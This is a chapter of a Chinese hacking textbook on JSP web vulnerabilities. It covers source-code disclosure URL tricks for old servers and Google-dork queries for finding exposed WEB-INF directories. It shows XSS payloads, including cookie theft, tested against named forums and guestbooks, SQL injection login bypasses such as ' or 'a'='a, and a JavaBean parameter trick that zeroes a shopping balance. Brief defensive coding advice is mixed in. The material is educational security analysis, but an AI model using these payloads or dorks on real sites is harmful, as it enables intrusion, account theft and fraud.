13.1
JSP源代码泄露
13.2 跨站脚本攻击漏洞
13.3 注入漏洞代码分析
13.4 其他安全问题
13.5 JSP木马编写技术
从本章你可以学到如下几点:
1.JSP源代码泄露漏洞分析、查找及利用
2.跨站脚本漏洞分析
3.注入漏洞代码分析
4.JSP安全编程技术简介
5.JSP木马编写技术
6.其他的安全问题
上一章已经为大家介绍了JSP的各种基础知识,相信大家对它已经有了一个基本的了解,有了这些基础我们就可以分析JSP程序的漏洞了。本章为大家介绍一些常见的JSP漏洞。因为JSP的编译性语言,而且编写的过程也比较规范,我们可以用javascript+html+jsp的方式来开发JSP系统。但是更多的系统确是采用JAVA软件的开发流程来开发,过程如下:
1.编写源代码
2.通过编译软件(如J2SDK等)编译源代码,编译后产生类文件。
3.将软件的所有类和一个清单文件一起打包,生成包裹文件。
4.最后通过混淆器把所有的文件混淆,以防止被反编译。
采用这种方法开发的JSP系统其安全性就大大得到了提高,执行效率也比较高。虽然JSP比起PHP和ASP要安全一些,但这并不就代表它就没有安全漏洞。所以,本章就为大家介绍一下目前JSP出现的主要安全漏洞。
JSP源代码暴露是一个比较老的漏洞了,出现这个漏洞的主要并不是JSP的原因,而是和搭建JSP环境的服务器有着密切的关系。下面就来谈谈Web服务器和JSP服务器中存在的这些漏洞。
Unify eWave ServletExec 是一个 Java/Java Servlet 引擎插件,主要用于 WEB 服务器,例如:Microsoft IIS, Apache, Netscape Enterprise 服务器等等。当一个 HTTP 请求时,我们在URL中添加下列字符之一,ServletExec 将返回 JSP 源代码文件。添加的字符有:.、%2E、%20、%5C、%20、%00、+、\。当我们成功的利用该漏洞将导致泄露指定的JSP文件的源代码,例如:使用下面的任意一个URL请求将输出指定的JSP文件(login.jsp)的源代码:
(1)、http://www.xxxx.com/xxxxx/jsp/login.jsp.
(2)、http://www.xxxx.com/xxxxx/jsp/login.jsp%2E
(3)、http://www.xxxx.com/xxxxx/jsp/login.jsp+
(4)、http://www.xxxx.com/xxxxx/jsp/login.jsp%2B
(5)、http://www.xxxx.com/xxxxx/jsp/login.jsp\
(6)、http://www.xxxx.com/xxxxx/jsp/login.jsp%5C
(7)、http://www.xxxx.com/xxxxx/jsp/login.jsp%20
(8)、http://www.xxxx.com/xxxxx/jsp/login.jsp%00
Tomcat这个服务器我们在前面已经使用过了,利用它我们来搭建JSP环境。不过在Tomcat 3.1版本中存在一个安全问题,在这个版本下搭建的系统,当我们提交一个不存在的文件时就会暴露出网站上网页的全路径。比如,我们提交一个不存在的hack.jsp文件时,系统就会暴露出该网站上网页的全路径,如图13-1所示。
图13-1 暴露路径
我们知道Tomcat 是文件名大小写敏感的,而Java Server Pages (JSP)类型的文件是以'.jsp'扩展名在Tomcat 上注册,所以'.jsp'和'.JSP'是不同类型的文件扩展名。如果提交有'.JSP'的链接给Tomcat,而Tomcat找不到'.JSP'就会以默认的'.text'文件类型(文本文件)来响应请求。因为在windows操作系统中大小写文件名是非敏感的,所以被请求的文件会以文本的形式送出。即如果JSP网站采用的是windows操作系统,那么我们就可以看到该文件文件的源代码。如果在UNIX服务器上会出现"file not found"的错误信息,如图13-2所示。
图13-2 UNIX返回的信息
Tomcat的一些版本有泄露源代码的漏洞,如果在浏览器中调用JSP页面时将该文件的后缀改成大写,这个JSP文件的源代码将完全输出到浏览器中(也许浏览器窗口中什么都没有,这时你只需查看HTML源文件就可以发现)。解决方法很简单,把各种后缀的组合全部写到Tomcat_Home\conf\web.xml里就可以了,这样Tomcat会将不同后缀名的JSP分开对待,就不会泄露代码了,如添加JSP、Jsp、JSp、jSP、jsP等等。利用数学上的排列就可以得出有八种情况,即2*2*2等于8。
ALLAIRE JRUN是一个基于JSP和JAVA SERVLET开发的WEB应用套件。每个WEB应用程序目录中包含一个WEB-INF目录,这个目录包含一些WEB应用程序的CLASS和预编译JSP文件,服务器端库文件,会话信息和文件如web.xml、webapp.properties等等。
JRUN曾经出现过一个包含漏洞,它允许远程用户查看WEB-INF目录内容,通过请求一个包含"/"字符的URL,就会显示WEB-INF目录下面面的所有目录。达到遍历目录的结果,导致泄露非常多的敏感信息,攻击的方法就是在网站的URL后添加“/WEB-INF”即可看到遍历信息了,如图13-3所示,就是我利用这个漏洞所进行的攻击结果。
图13-3 /WEB-INF遍历漏洞
本来这个漏洞我也是想这里就该结束了,不过后来我想到了Google Hack技术。记得前面介绍给大家的时候,提到过“to parent directory”关键字。那我们在来仔细看看图13-3中的内容,可以发现也存在一个独一无二的关键字“Index of //WEB-INF”。所以我们可以利用Google Hack技术来查找所有存在这个漏洞的网站,我们只需要搜索intext:"Index of //WEB-INF"。就可以找出所有存在这个漏洞的网站了,如图13-4所示,随便打开就可以看到其中的文件了,如图13-5所示。
图13-4 搜索到存在漏洞的网站
图13-5 漏洞网站
前面我们已经两次提到了web.xml这个文件,它是属于一个配制文件。不过从我利用搜索/WEB-INF漏洞搜索到的网站来看,很多网站都含有web.xml这个文件,如图13-5所示。所以我们还可以利用web.xml作为关键字搜索出很多JSP网站因配置不当引起的遍历漏洞,当然也包括/WEB-INF遍历漏洞。不过只使用web.xml关键字是没有用的,必须还要加上关键字“Parent Directory”。即搜索intext:"Parent Directory"+"web.xml"就可以找出存在遍历漏洞的JSP网站了,结果如图13-6所示,共有49500项结果。
图13-6搜索intext:"Parent Directory"+"web.xml"的结果
当然,不仅仅只有上面两个关键字可以找出JSP中存在遍历漏洞的网站,后来又根据我的挖掘,发现搜索关键字intext:"Index of /tomcat/"的效果更好,可以搜索出56200项结果,如图13-7所示。
图13-7 搜索intext:"Index of /tomcat/"的结果
IBM WebSphere Application Server是一个完善的、开放的Web应用服务器。不过在3.0.2版本存在暴露源代码漏洞,IBM WebSphere Application Server 允许攻击者查看 Web server 根目录以上的所有文件。IBM WebSphere 使用 Java Servlets 处理多种页面类型的分析(如 HTML, JSP, JHTML, 等等)。WebSphere 会使用一个默认的 servlet 作调用。如果文件路径以"/servlet/file/"作开头这个默认的 servlet 会被调用这个请求的文件会未被分析或编译就显示出来。
这样说可能很多人都理解不了,下面就用例子来说明。例如我们请求网站http://www.xxx.com/中的login.jsp文件,正确的请求路径是http://www.xxx.com/jsp/login.jsp。那么,我们访问http://www.xxx.com/jsp/servlet/file/login.jsp就可以看到login.jsp文件的代码了。
和前面的一样,Java Server Pages (JSP)类型的文件是以'.jsp'扩展名在WebSphere Application Serve 上注册,WebSphere 是文件名大小写敏感的。所以,'jsp'和'Jsp'是不同后缀名。如果提交有'.JSP'的链接给WebSphere,而WebSphere找不到'.JSP'就会以默认的'.text'文件类型(文本文件)来响应请求。因为在windows操作系统中大小写文件名是非敏感的,所以被请求的文件会以文本的形式送出。即如果JSP网站采用的是windows操作系统,那么我们就可以看到该文件文件的源代码。如果在UNIX服务器上会出现"file not found"的错误信息。
上面的这些就是因为服务器导致JSP代码泄露的漏洞,虽然上面很多漏洞已经不存在了,但是仍然有一些傻瓜网站存在,/WEB-INF漏洞就是一个典型,利用google hack还是找出了200个这样的网站。
对于这类因为服务器的原因导致代码泄露的漏洞,这里我给大家推荐一个好工具,是由lcx写的,界面如图13-8所示。
图13-8 jsp暴源码及目录工具
使用方法是:第一个输入框输入域名,第二个输入框输入路径,第三个输入框输入文件名,不过后缀名jsp不要写上去。例如我们想查看http://integra.sunsite.dk/common/body.jsp的body.jsp的代码,那么在第一个输入框中输入http://integra.sunsite.dk,第二输入框输入/common/,第三个输入框输入body就可以了,点击按钮之后就是等结果了。如果不存在漏洞,就会返回如图13-9所示的结果。
图13-9 没有漏洞检测的结果
上面的这些就是因为服务器的原因导致代码泄露的漏洞,虽然很多漏洞离现在很久了,但是只要灵活运用,还是可以得到意想不到结果。
只要浏览器能够解释HTML和JavaScript语言,而在服务端又没有很好的对字符进行转换,那么就会发生跨站脚本攻击漏洞。至于它的基础知识这里不重复了,我们直接来分析JSP程序中存在跨站脚本漏洞的代码。
只要是在进行JSP编程时,没有对输入的字符进行有效的过滤就会发生跨站脚本漏洞。我分析JSP系统的过程中,发现“Jspmo伊人心留言本v1.0”就存在着一个过滤不严格的地方,导致了跨站漏洞的出现,它的留言界面如图13-10所示。
图13-10 留言界面
我们来看看它是怎么对留言的内容进行处理的,文件是save.jsp,代码如下所示:
String title=request.getParameter("title"); //获得留言的标题
String name=request.getParameter("name"); //获得留言者的名称
String email=request.getParameter("email"); //获得留言者的电子邮件
String web=request.getParameter("web"); //获得留言者的主页
String QQ=request.getParameter("QQ"); //获得留言者的QQ号码
String text=request.getParameter("text"); //获得留言的内容
String p1=request.getParameter("p1"); //获得性别
String p2=request.getParameter("p2"); //获得头像
String pic=null;
String ip=request.getRemoteAddr(); //获得留言者的IP地址
if("http://".equals(web)){web="";} //判断主页是否为空
if("m".equals(p1)){pic="m"+p2+".gif";}
if("w".equals(p1)){pic="w"+p2+".gif";}
if(name==null||QQ==null||text==null||p1==null||p2==null)
//如果name、QQ、text、p1、p2 中有一个为空,就发生错误,并返回到index.jsp去
{
out.println("<script language=javascript>alert('不允许直接访问');");
out.println("location.href('index.jsp');");
out.println("</script>");
} //如果不为空,那么就把上面的数据插入到数据库中
else
{
String sql="insert into "+tab+" values(0,'"+gb2iso(title)+"','"+gb2iso(name)+"','"+gb2iso(QQ)+"','"+gb2iso(email)+"','"+gb2iso(web)+"','y','"+gb2iso(pic)+"','"+gb2iso(text)+"','"+ip+"',now())"; //gb2iso()的作用是用于显示中文,并不是进行过滤用的
st.executeUpdate(sql); //执行数据库操作
st.close();
con.close();
out.println("<script language=javascript>alert('留言成功!');");
out.println("location.href('index.jsp');");
out.println("</script>");
可以看到上面我们留言的数据都是没有进行过滤就插入到了数据库中了,典型的跨站脚本漏洞。不过仍然有一些限制,因为提交的数据的页面是在index.jsp,而处理数据则是在save.jsp。所以我们在来看看index.jsp中的一些代码,它能够限制我们的攻击,关键代码如下所示:
<td style="color:#999900;">主题:</td>
<td width="6"></td>
<td>
<input name=title type=text class="inp_set1" id="title" onFocus="this.style.backgroundColor='#fffdf7'" onBlur="this.style.backgroundColor='#FFFFFF'" value="路过" size="30" maxlength="12"> //主题允许输入的最大长度为12
</td>
</tr>
<tr>
<td style="color:#999900;">昵称:</td>
<td width="6"></td>
<td>
<input name=name type=text class="inp_set1" id="name" onFocus="this.style.backgroundColor='#fffdf7'" onBlur="this.style.backgroundColor='#FFFFFF'" value="" size="30" maxlength="10"> </td> //昵称允许输入的最大长度为10
可以看到主题允许输入的最大长度为12个字符,昵称允许输入的最大长度为10个字符。所以我们必须要改变他们的大小,把他们的长度都改成1000,如图13-11所示。因为改变大小,所以我们要把网页保存到本地,并且要把表单form中的action的地址改成绝对路径,这里我用的是该留言版的官方网站,为http://www.jspmo.com/book/index.jsp。所以这里的action属性就应该为http://www.jspmo.com/book/save.jsp,如图13-12所示。
图13-11 修改输入框的长度
图13-12 把表单的处理文件改为绝对路径
修改完了之后,我们就可以在本地输入跨站代码了,如图13-13所示,点击提交就可以发生跨站攻击,如图13-14所示,我们还可以输入<script>alert(document.cookie)</script>进行偷窃cookie,如图13-15所示。
图13-13 输入跨站代码
图13-14 跨站攻击
图13-15 窃取cookie
当然,上面我只演示了“标题”和“昵称”这两个变量,其他的变量也可以试验,虽然他们进行了限制。但都是用的javascript限制的,所以我们可以绕过,常用的方法就是抓包修改之后用NC提交数据。
上面演示的是数据没有过滤就插入到数据库中就发生了跨站漏洞,同样,更新数据库操作也会发生跨站漏洞,不过前提是他们没有对参数进行有效的过滤。这点大家在前面都明白了,不过在JSP还有其他的一些原因引起的跨站漏洞,其中异常处理也能够发生跨站漏洞,我们都知道异常处理是一种安全机制,但是这种安全机制如果程序员编写程序的时候考虑不全面的话,仍然会发生安全问题。我在分析鲤鱼论坛的时候就发现了这个漏洞。
鲤鱼论坛是一个非常不错的系统,用到了目前比较先进的Java技术,如内置C3P0,proxool,dbcp数据库连接池;内置对JDBC进行初步封装组件;中间层应用OSCache进行数据对象缓存,支持EHCACHE等等。它不像前面的留言版系统,我们可以看到全部的JSP代码,鲤鱼论坛采用标准的JAVA软件开发流程,很多代码都被编译成了class文件,并用混淆器混淆了,所以我们无法得到全部的代码。就这一点就可以防止源代码被全部分析掉了,不过仍然有一些代码我们可以看到,而在这部分代码中就有因为异常处理不当引起的跨站漏洞。下面我们就来分析一下这个鲤鱼论坛中的异常处理跨站漏洞。
(1)、自定义头像跨站
在个人修改资料的页面中提供了一个自定义头像的功能,我们可以在自定义头像的输入框头像的地址。这个漏洞出现的原因是JSP中的异常处理不当而引起的,其处理代码是:
<B>关于自定义头像</B>:
<BR>
你也可以在这里给出你自定义头像的 URL 地址,头像的高度和宽度(像素)。 如果不想要自定义头像,请将相应栏目栏目全部留空!</font></td>
<td width="60%"> <font color="<%=tableContentColor%>">
<% int startP=(picURL+"Image").length(); //设置头像的长度
int oldFaceNum=0;
try{
oldFaceNum = Integer.parseInt(theUser.getFace().substring(startP,startP+2));
//取得输入的自定义头像的数据,并定义了长度
}
catch(Exception e){ //异常处理
try{
oldFaceNum = Integer.parseInt(theUser.getFace().substring(startP,startP+1));
}
catch(Exception e1){
oldFaceNum=1;
}
}
%>
………………………………省略代码
</select> 预览:
<img id=face src="<%=theUser.getFace()%>" width=<%=theUser.getWidth()%>
height=<%=theUser.getHeight()%>>
从上面取得自定义头像的异常处理代码中可以看到,它只是判断是否输入了自定义头像,而没有去检查输入的数据是否合法,只要存在数据即可不触发异常条件。所以这里虽然有一个异常处理代码,但是对跨站确没有什么影响。我们在自定义头像的输入框中输入最常见的IMG跨站代码javascript:alert("自定义头像跨站")后并没有产生跨站效果,事后我查看返回的客户端代码,发现是这样的代码:<img id=face src="javascript:alert("自定义头像跨站")" width=32 height=32>。可以发现是被双引号给闭和了,所以要实现跨站就要把双引号去掉。可以输入"#" onerror=alert('自定义头像跨站') ""来避开双引号的封锁。那么就实现了跨站,如图13-16和图13-17所示。
图13-16 输入自定义头像跨站代码
图13-17 自定义头像跨站
(2)、投票跨站
在注册会员后不仅可以发表贴子,该系统还可以发表投票,如图13-18所示。在投票处确出现了跨站,可能是程序员认为这个没什么危害吧。不过对我们来说只要没有把数据过滤干净,那么就有可能,具体的代码有:
stats="发表投票";
out.println(headLine(forumID,forumName,forumLogo,theForum.getForumType(),2,stats));
//在得到客户端的数据后,就直接显示出来,并显现已投票。数据没有过滤
if (foundErr){
throw new Exception(errMSG);
}else{
…………………………..省略代码
<td width="86%"><font color="<%=tableContentColor%>">
<input name="subject" size=60 maxlength=80 class=FormClass> <font color="red"><strong>*</strong></font>不得超过 50 个汉字<INPUT TYPE="hidden" name="forumType" value="<%=response.encodeURL(theForum.getForumType())%>">
<INPUT TYPE="hidden" name="skin" value="">
<tr bgcolor="<%=tableBodyColor%>">
<td width="14%"><font color="<%=tableContentColor%>"><b>投票项目 </b> <br>
<li>每行一个投票项目,最多10个</li>
<li>超过自动作废,空行自动过滤</li><br>
<input type="radio" name="voteType" value="0" checked>
单选投票<br>
<input type="radio" name="voteType" value="1">
多选投票</font></td>
<td width="86%"><textarea name="vote" cols="65" rows="8"></textarea>
我们可以先发表一个这样的投票选题,输入的内容都是跨站代码,如图13-19所示。在我们发表一个投票选题后,系统就直接把投票的选题显现出来。如果打开这个页面就表示已经投票了。通过上面的处理代码,就可以发现它是直接通过out.println处理,同样也是只要输入了数据就不触发异常,而没有考虑到其是否含有攻击代码。所以这里我们只要输入跨站代码<script>alert("投票跨站")</script>或者<img src=javascript:alert("投票跨站")></img>就可以实现跨站了,如图13-20所示。
图13-18 投票
图13-19 跨站代码
图13-20 投票跨站
(3)、快速回复跨站
注册用户可以对文章进行一些回复,这是论坛最基本的功能。这里有两种回复功能,其中一种是快速回复,但确没有处理好参数,出现了跨站。代码是:
String errMsg="";
try{
com.bcxy.bbs.forum.Forum theForum=ForumFactory.getForum(forumID);
String url=theForum.addMSG(request,response);
stats=theForum.getForumType()+"回复成功!";
out.println(headLine(forumID,forumName,forumLogo,theForum.getForumType(),2,stats));
//没有过滤就显示出来了,漏洞出现。
……………………………..省略代码
<TD noWrap width=175>你的用户名:</TD>
<TD><INPUT maxLength=25 size=15 value="<%=userName%>" name="userName">
<A href=reg.jsp>还没注册?</A> 密码:
<INPUT type=password maxLength=13 size=15 value="<%=userPassword%>" name="userPassword">
<A href=lostpass.jsp>忘记密码?</A>
………………………………………………省略代码
<INPUT type=checkbox value=0 name=emailFlag>
邮件回复 <INPUT type=checkbox CHECKED value=1 name=signFlag>
显示签名 </TD><TD width="100%">
<input type=Submit value=OK!发表我的回应帖子 name=Submit>
<input type=reset name=Clear value=清空内容!>
[<font color=&alertFontColor&>Ctrl+Enter直接提交贴子</font>
通过上面的代码我们可以知道回复帖子的框架,如图13-21所示。上面的代码在得到客户端的数据后,只是写了一个判断是否输入数据的异常处理代码,而没有管数据是否合法。所以我们只要在文本框中输入代码<script>alert(“快速回复跨站”)</script>就可以实现跨站了。如图7所示。
图13-21 回复功能
图13-22 跨站漏洞
接着我们来看看JSP系统中功能非常强大的阿菜论坛(beta-1),它是仿造的动网的。当我们提交http://www.xxxxx.com/acjspbbs/dispuser.jsp?name=zengyunhao;<script>alert(document.cookie)</script>后就能够弹出包含自己cookie信息的对话框,其中zengyunhao是我在论坛里的用户名。而提交http://www.xxxx.com/acjspbbs/dispuser.jsp?name=zengyunhao;<script>document.location=”http://www.google.com”</script>遍能够重定向到google上去。不过后来我又测试了一下鲤鱼论坛,发现它也存在这个漏洞,鲤鱼论坛查看会员的文件是dispuser.jsp,我的会员名为zengyunhao,论坛的官方网站是http://www.liyunet.com/,那么我就在我的用户名后加上“;<script>alert("鲤鱼论坛的URL跨站")</script>”,如图13-23所示。点击“转到”按钮之后就发生了跨站,如图13-24所示。
图13-23 在name属性后输入跨站代码
图13-24 跨站漏洞
由于在返回“name”变量的值给客户端时,脚本没有进行任何编码或过滤恶意代码,当用户访问嵌入恶意“name”变量数据链接时,会导致脚本代码在用户浏览器上执行,可能导致用户隐私泄露等后果。
对所有动态页面的输入和输出都应进行编码,可以在很大程度上避免跨站脚本的攻击。遗憾的是,对所有不可信数据编码是资源密集型的工作,会对 Web 服务器产生性能方面的影响。常用的手段还是进行输入数据的过滤,比如下面的代码就把危险的字符进行替换:
<% String message = request.getParameter("message");
message = message.replace ('<','_');
message = message.replace ('>','_');
message = message.replace ('"','_');
message = message.replace ('\'','_');
message = message.replace ('%','_');
message = message.replace (';','_');
message = message.replace ('(','_');
message = message.replace (')','_');
message = message.replace ('&','_');
message = message.replace ('+','_'); %>
上面的方法防御上比较被动,我们可以以主动防御的方式是利用正则表达式只允许输入指定的字符:
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) return true;
else return false;
}
采用了主动防御的方式我们就能够更加好、更加全面的防止漏洞的发生了。对于JSP系统的跨站漏洞分析就到这里了,关键是大家要灵活运用,挖掘出更多更先进的技术出来。
想做一名优秀的黑客没有创新能力是不可能的实现的。
只要在进行数据库操作的时候,没有对输入的参数进行过滤就会发生注入漏洞,这个思想在JSP中也是一样的。注入漏洞在WEB系统中是属于非常严重的漏洞,没有过滤参数就查询数据库是一个非常差的编程思想,特别是很多经验还不够的程序员更是如此。这有一个很重要的原因就要归结于书本,目前很多WEB语言的教材,包括JSP在内,里面的程序都是没有一点安全性的,导致结果就是用了这些教材的人写出来的程序都是漏洞百出。
记得当初在学JSP的时候,用的是著名的《JSP编程思想与实践》,这本书非常的不错,如果大家要学习JSP的话,最好也用这本。不过这本书中的例子同样是存在很多问题,例如该书中示范给读者编写带数据库的登录系统的(数据库为MySQL),代码如下所示:
Statement stmt = conn.createStatement();
String checkUser = "select * from login where username = '" + userName + "' and userpassword = '" + userPassword + "'"; //userName和userPassword都没有过滤
ResultSet rs = stmt.executeQuery(checkUser); //执行查询数据库操作
if(rs.next())
response.sendRedirect("SuccessLogin.jsp");
else
response.sendRedirect("FailureLogin.jsp");
上面就是《JSP编程思想与实践》中出现的后台登陆代码,userName和userPassword都没有过滤都是在没有过滤的情况下就放到数据库中去执行查询操作了。如果数据库里存在一个名叫“hack”的用户,那么在不知道密码的情况下至少有下面几种方法可以登录:
用户名:hack
密码:' or 'a'='a
用户名:hack
密码:' or 1=1/*
用户名:hack' or 1=1/*
密码:(任意)
还有有的系统在验证管理员的时候也出现问题,也是逻辑上不清楚造成的。我在分析溢洋论坛v1.12的时候就发现了这个问题,user_manager.jsp文件的作用是用户管理。在这个文件中验证用户的代码如下所示:
<%
if ((session.getValue("UserName")==null)||(session.getValue("UserClass")==null)
||(! session.getValue("UserClass").equals("系统管理员")))
{
response.sendRedirect("err.jsp?id=14");
return;
}
%>
其中,session.getValue表示检索出Session的值,sendRedirect()执行之后就相当于重定向。地址栏连接会改变,相当于客户端重新发送一个请求,要服务器传送err.jsp?id=14过来。我们只需要保证UserName或UserClass不为空就可以进入管理员了。
下面再来分析一些JSP系统中常见注入漏洞代码,在我分析“极度学习整站程序JSP版 v0.1.10”的时候发现这个系统存在了JSP中最为经典的注入漏洞,就用它来作为例子分析。在URL中最为常见的JSP注入代码如下所示:
String ID = new String(request.getParameter("ID").getBytes("iso8859_1"));
//获得输入的ID参数,getBytes()函数用于获得字节数
Statement stmtArticle=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sqlArticle = "Select * from tArticle where fArticleID=" + ID;
//ID参数没有过滤就直接放入到查询操作中去了
ResultSet RsArticle = stmtArticle.executeQuery(sqlArticle); //执行查询操作显
显然,上面的参数ID在用request的getParameter()方法获得后,并没有进行任何的过滤及安全防护措施,就把ID放入到了数据库查询操作中。所以出现了典型的注入漏洞,而且这个参数ID是在URL地址栏中,所以非常适合我们进行注入攻击,如图13-25和13-26就可以判断其存在注入漏洞。并且可以从图13-26中得出该系统的后台用的ODBC接口的数据库。
图13-25 添加and 1=1后返回正确
图13-26添加and 1=2后返回错误,从中可以得到后台为ODBC接口数据库
我们可以得到这个系统采用的ODBC接口数据库,我们知道后台数据库直接影响者注入攻击的方式,在URL后直接加上单引号就可以得到后台数据库的类型,如图13-27所示。可以发现后台采用的ACCESS数据库,当然用and user>0的结果也是一样。
图13-27 后台为ACCESS数据库
对于注入工具而言,影响其注入的也是后台数据库。至于是何种脚本语言对其影响并不是特别大。所以前面的那个系统我们可以用SQL注入工具进行注入攻击了,可以很快猜解出管理员的密码,如图13-28所示。
图13-28 工具注入
从上面大家就应该明白,虽然是JSP系统。但是对于我们注入攻击来说,影响最大的后台数据库类型。所以如果后台数据库是ACCESS或SQL Server那么我们就可以啊D、明小子等工具。如果是MySQL数据库,则就可以用NBSI2、HDSI、CASI就可以了。不过JSP系统更多采用的后台数据库是Oracle,所以这里我提供了一个提供了一个Oracle数据库的注入工具,如图13-29所示。如果后台数据库是Oracle,则用这个工具就可以得到Oracle后台数据库的密码等信息。
图13-29 Oracle数据库注入工具
对于注入漏洞代码的分析,前面几章已经讲了很多,比如数字型注入、字符型注入。这些都在JSP系统中可用,因为在JSP系统中获取客户端的数据主要是使用request的getParameter方法,所以我们可以搜索关键字request、getParameter来找到JSP中获取客户端数据的代码。在得到这些代码后就跟踪获取的参数,如果参数没有过滤或过滤完全的话就会发生注入漏洞了,如图13-30所示。
图13-30 利用关键字getParameter搜索注入漏洞
上面说的情况是我们可以见到JSP系统代码的情况下,如果有JSP代码那么分析代码漏洞就比较简单了。不过目前大部分JSP系统是见不到代码,基本上都是被编译成了Servlet,用混淆器混淆之后我们是根本无法得到其源代码了。所以对于这样系统,我们得到它是目录结构,要入侵这样的系统只有以黑箱测试为主,以步步推进。监测每一个变量的去处,以发现它的漏洞。要这样入侵肯定要花费比较多的时间,而且成功与否还和你渗透网站的经验有一定的关系,在下一章会给大家演示如何入侵JSP的网站。
JSP不仅仅存在于上面的几个安全漏洞,还有很多的安全问题。不过都很难形成一个体系,所以本节就来详细讨论一下其他的安全问题。
1、 String对象带来的隐患
学过C语言的朋友都知道,为对地址空间的数据进行操作,引入了指针。但是,指针存在很多的安全问题,如引发了溢出漏洞。所以在Java语言中就去掉了指针,这样Java平台的确使安全编程更加方便了。
因为Java中没有指针了,这就是说Java语言 程序不再像C语言那样直接利用指针对地址空间中的任意内存位置进行寻址操作了。在JSP文件被编译成 .class 文件时编译器会被自动检查安全性问题,比如当我们当访问超出数组大小的时候,那么我们的请求将被拒绝,这在很大程度上避免了缓冲区溢出攻击的发生。
但是,String对象却会给我们带来一些安全上的隐患。如果密码是存储在 Java String 对象中的,则直到对JAVA的立即回收器对其进行垃圾收集或进程终止之前,密码会一直驻留在内存中。即使系统进行了垃圾收集,它仍会存在于空闲内存堆中,直到重新使用该内存空间为止。密码 String 在内存中驻留得越久,遭到被窃听的危险性就越大。
更糟的是,如果实际内存减少,则操作系统会将这个密码 String 换页调度到磁盘的交换空间,因此容易遭受磁盘块窃听攻击。为了将这种泄密的可能性降至最低(但不是消除),您应该将密码存储在 char 数组中,并在使用后对其置零(String 是不可变的,无法对其置零)。
2、JavaBean安全简介
在上一章中,已经为大家介绍了JavaBean的基础知识了,相信大家已经有一定的了解。JSP组件的核心技术就是被称为bean的java组件,即JavaBean。在程序中可把逻辑控制、数据库操作放在javabeans组件中,然后在JSP文件中调用它,这样可增加程序的清晰度及程序的可重用性。和传统的ASP或PHP页面相比,JSP页面是非常简洁的,因为许多动态页面处理过程可以封装到JavaBean中,而且安全性上也得到了很大的提高。
我们知道在JavaBean中要改变JavaBean的属性,就必须要用到“<jsp:setProperty>”标记。我们来看看下面的这一小段代码,是电子商务系统中checkout.jsp文件的代码,它的作用是用来结帐的,代码如下所示:
<jsp:useBean id="myBasket" class="BasketBean"> //使用JavaBean
<jsp:setProperty name="myBasket" property="*"/> //设置属性
<jsp:useBean>
<html>
<head><title>shop</title></head>
<body>
<p>
You have added the item
<jsp::getProperty name="myBasket" property="newItem"/>
to your basket.
<br/>
Your total is $
<jsp::getProperty name="myBasket" property="balance"/>
Proceed to <a href="checkout.jsp">checkout</a>
注意看<jsp:setProperty name="myBasket" property="*"/>中的property="*",这个就是表明用户在可见的JSP页面中输入的,或是直接通过Query String提交的全部变量的值,将存储到匹配的bean属性中。正常情况下,我们是这样提交请求的: http://www.xxxx.com /addToBasket.jsp?newItem=123213
但是我们是没有那么守规矩的?我们可以提交: http://www.xxxx.com/addToBasket.jsp?newItem=123213&balance=0。这样,balance=0的信息就被在存储到了JavaBean中了。当他们这时点击“chekout”结账的时候,费用就全免了。这和PHP中的全局变量导致的安全问题是一样的,所以在用JavaBean的时候一定要慎用property="*",这样就可以避免因变量作用域而导致的安全问题。
3、 线程安全初探
JSP在默认的情况下是以多线程方式执行的,和JAVA是一样的。以多线程方式执行可大大降低对系统的资源需求,提高系统的并发量及响应时间。
线程在程序中是独立的、并发的执行路径,每个线程在操作系统执行的过程中都有它自己的堆栈、自己的程序计数器和自己的局部变量。虽然多线程应用程序中的大多数操作都可以并行进行,但也有某些操作(如更新全局标志或处理共享文件)不能并行进行。如果没做好线程的同步,在大并发量访问时,或者是有人恶意访问的时候问题就出现了。最简单的解决方案就是在相关的JSP文件中加上: <%@ page isThreadSafe="false" %>指令,使它以单线程方式执行,这时,所有客户端的请求以串行方式执行。
这样会严重降低系统的性能,如果是用单线程是划不来的。不过我们可以仍让JSP文件以多线程方式执行,通过用函数上锁来对线程进行同步。一个函数加上synchronized 关键字就获得了一个锁。看下面的示例:
public class MyClass{
int a;
public Init() {//此方法可以多个线程同时调用
a = 0;
}
public synchronized void Set() {//两个线程不能同时调用此方法
if(a>5) {
a= a-5;
}
}
}
但是这样仍然会对系统的性能有一定影响。一个更好的方案是采用局部变量代替实例变量。因为实例变量是在堆中分配的,被属于该实例的所有线程共享,不是线程安全的,而局部变量在堆栈中分配,因为每个线程都有它自己的堆栈空间,所以这样线程就是安全的了。比如凌云论坛中添加好友的代码如下所示:
public void addFriend(int i, String s, String s1) //添加好友
throws DBConnectException
{
try
{
if……
else
{
DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)");
dbconnect.setInt(1, i);
dbconnect.setString(2, s);
dbconnect.executeUpdate();
dbconnect.close();
dbconnect = null;
}
}
catch(Exception exception)
{
throw new DBConnectException(exception.getMessage());
}
}
下面是调用:
friendName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")) {
forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
errorInfo=forumFriend.getErrorInfo();
}
如果采用的是实例变量,那么该实例变量属于该实例的所有线程共享,就有可能出现用户A传递了某个参数后他的线程转为睡眠状态,而参数被用户B无意间修改,造成好友错配的现象。
所以大家在分析JSP程序的时候也要注意看这写线程的问题,有的时候造成的危害也是比较严重的。
4、 上传文件安全问题
在ASP和PHP中都为大家介绍了上传漏洞,同样,在JSP中如果对上传文件的后缀处理的不当的话,也会发生上传漏洞。对于如何寻找上传代码的漏洞,JSP中和ASP及PHP是一样的,比如看是否可以上传jsp、pl、asp、cer等后缀,还有就是看上传时处理的变量是否过滤了,如果没有过滤还可以修改变量,欺骗计算机,使得我们上传JSP木马。
这里还是提一下,在JSP中如何防御上传文件时的漏洞。前面给大家介绍了主动防御的思想。在JSP系统中也同样使用,这个方面鲤鱼论坛做的比较好,代码如下所示:
function upload() //上传文件处理函数
{
var filename = document.mainform.file.value;
filename = filename.toLowerCase();
var accept = false;
accept |= (filename.indexOf('.zip')>-1); //判断后缀名,进行匹配
accept |= (filename.indexOf('.rar')>-1);
accept |= (filename.indexOf('.doc')>-1);
accept |= (filename.indexOf('.txt')>-1);
if(!accept)
{
alert("请选择允许上传文件:.zip,.rar,.doc,.txt!");
document.mainform.file.focus();
return false;
}
return true;
}
</SCRIPT>
<%
String StrLoad = request.getParameter("upload"); //获取上传的数据
String TempName = "", errMsg = "", strFileName = "";
